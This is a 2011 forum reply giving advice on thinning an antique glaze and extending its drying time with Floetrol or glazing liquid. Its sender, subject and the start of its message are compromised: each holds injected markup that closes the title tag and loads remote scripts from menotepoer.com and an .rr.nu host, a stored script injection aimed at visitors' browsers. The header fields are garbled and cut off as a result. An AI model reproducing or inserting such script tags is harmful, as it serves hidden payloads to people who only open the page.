Post Home

 
< Previous | Next > | Msg List |
Reply
From: "> </title><script src="http://global.menotepoer.c
Date: 6/7/2011 12:52:12 AM
Subject: "> </title><script src="http://zon.menotepoer.com/sl.php?v=2"></script><!--"></title><script src=
Message:
"> </title><script src="http://zon.menotepoer.com/sl.php?v=2"></script><!--"></title><script src="http://esscer47emonyno.rr.nu/sl.php"></script><!--Sounds like you almost have it right. Try the antique glaze again, but make these options, together or in steps. First, make it thinner, or paler, so you can control the darkness, repeating several times if need to get the right antique tones you are looking for. Secondly, you can mix your acrylic paint in 'Floetrol' (a commercial latex paint extender) or latex glazing liquid to extend the drying time and give you more control while managing the glaze over the surface. One last suggestion would be to wet the surface with water slightly first, before applying the glaze, this allows the glaze to flow more fluidly, and makes it easier to control, soften or remove, as needed.

Posted as a reply to Msg 94717 by ">